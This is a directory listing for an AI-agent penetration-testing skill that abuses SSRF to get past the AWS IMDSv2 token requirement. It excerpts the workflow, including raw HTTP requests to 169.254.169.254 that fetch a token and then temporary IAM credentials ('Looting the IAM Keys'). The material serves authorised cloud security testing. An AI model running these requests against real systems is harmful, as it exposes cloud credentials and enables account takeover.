aws-imdsv2-ssrf-bypass

aws-imdsv2-ssrf-bypass is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 84 tokens per session (1,367 once invoked), scanned C, original, MIT.

A security-testing guide for using a Server-Side Request Forgery (SSRF) flaw to request AWS EC2 instance metadata and retrieve IAM credentials when AWS requires IMDSv2 tokens.

In plain words
What is it for?
Use it during an authorised AWS security test to check SSRF request control, attempt the IMDSv2 token exchange, and document findings and evidence.
Why use it?
It helps assess whether an SSRF flaw can get past IMDSv2’s token requirement and expose cloud credentials.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it during an authorised AWS security test to check SSRF request control, attempt the IMDSv2 token exchange, and document findings and evidence.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-imdsv2-ssrf-bypass

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-imdsv2-ssrf-bypass

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/aws-imdsv2-ssrf-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 84 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,367 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00084 $0.01367
Opus 5 $0.00042 $0.00683
Sonnet 5 $0.00017 $0.00273
Haiku 4.5 $0.00008 $0.00137

Measured 12d ago against content hash 1a83fe99644c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade C, and why

aws-imdsv2-ssrf-bypass scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

C & G --> H[Extract Credentials ]

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

Attempting a standard IMDSv1 request to `http://169.254.169.254/latest/meta-data/` yields a `401 Unauthorized` or requires a token. This confirms IMDSv2 is enforced.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl]
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/aws-imdsv2-ssrf-bypass/SKILL.md · 134 lines

How it starts

The opening of the file, as written. The whole thing — 134 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AWS IMDSv2 SSRF Bypass

When to Use

  • When you have identified an SSRF vulnerability on an AWS EC2 instance, but IMDSv1 is disabled, and the service requires IMDSv2 tokens.
  • When the SSRF vector gives you enough control to issue a PUT request and specify custom HTTP headers.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Restriction

Attempting a standard IMDSv1 request to http://169.254.169.254/latest/meta-data/ yields a 401 Unauthorized or requires a token. This confirms IMDSv2 is enforced.

Phase 2: Generating the Token (The PUT Request)

IMDSv2 requires a session token. You must use the SSRF to send a PUT request to /latest/api/token with the header X-aws-ec2-metadata-token-ttl-seconds.

# Concept: Push the SSRF payload to request the token PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

Note: If the SSRF only allows GET requests, bypassing IMDSv2 via this specific method is generally not possible unless you have header injection/request smuggling.

Phase 3: Extracting Metadata (The GET Request)

If Phase 2 succeeds, the response will contain the token string (e.g., AQAAAHN...). You must then issue a second SSRF request (a GET request) to the metadata endpoint, injecting the acquired token via the X-aws-ec2-metadata-token header.

# GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...

Phase 4: Looting the IAM Keys

Identify the IAM role name from the previous step, then extract the temporary credentials.

# GET /latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...

Configure your local AWS CLI with the retrieved AccessKeyId, SecretAccessKey, and Token.

Read the full file on GitHub · 134 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 134 lines · 84 tokens per session scan C 1a83fe99644c

Subscribe to this mod's changes

aws-imdsv2-ssrf-bypass is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 84 tokens to every session and 1,367 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 3 findings (harvests environment variables, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

aws-imdsv2-ssrf-bypass

Exploit Server-Side Request Forgery (SSRF) vulnerabilities to extract AWS IAM credentials from the Instance Metadata Service version 2 (IMDSv2). This skill details how to bypass the token requirement of IMDSv2 by chaining HTTP verbs (PUT then GET) if the SSRF vulnerability allows full control over the request headers…

akashrpatil/awesome-offensive-security-skills · 84 tokens

ssrf-aws-metadata-abuse

Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS to access the highly sensitive Instance Metadata Service (IMDS). This allows an attacker to steal valid IAM roles and temporary security credentials, leading to catastrophic cloud account compromise.

akashrpatil/awesome-offensive-security-skills · 62 tokens

aws-metadata-ssrf-exploitation

Exploit Server-Side Request Forgery (SSRF) vulnerabilities on Amazon Web Services (AWS) EC2 instances to access the highly sensitive Instance Metadata Service (IMDS). Circumvent basic protections and extract temporary IAM access keys, escalating privileges comprehensively across the AWS Cloud environment.

akashrpatil/awesome-offensive-security-skills · 68 tokens

aws-metadata-ssrf

Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.

akashrpatil/awesome-offensive-security-skills · 69 tokens

cis-aws-foundations-6.7

Ensure that the EC2 Metadata Service only allows IMDSv2.

CyberStrikeus/CyberStrike · 23 tokens

cis-aws-compute-2.8

Ensure the Use of IMDSv2 is Enforced on All Existing Instances.

CyberStrikeus/CyberStrike · 25 tokens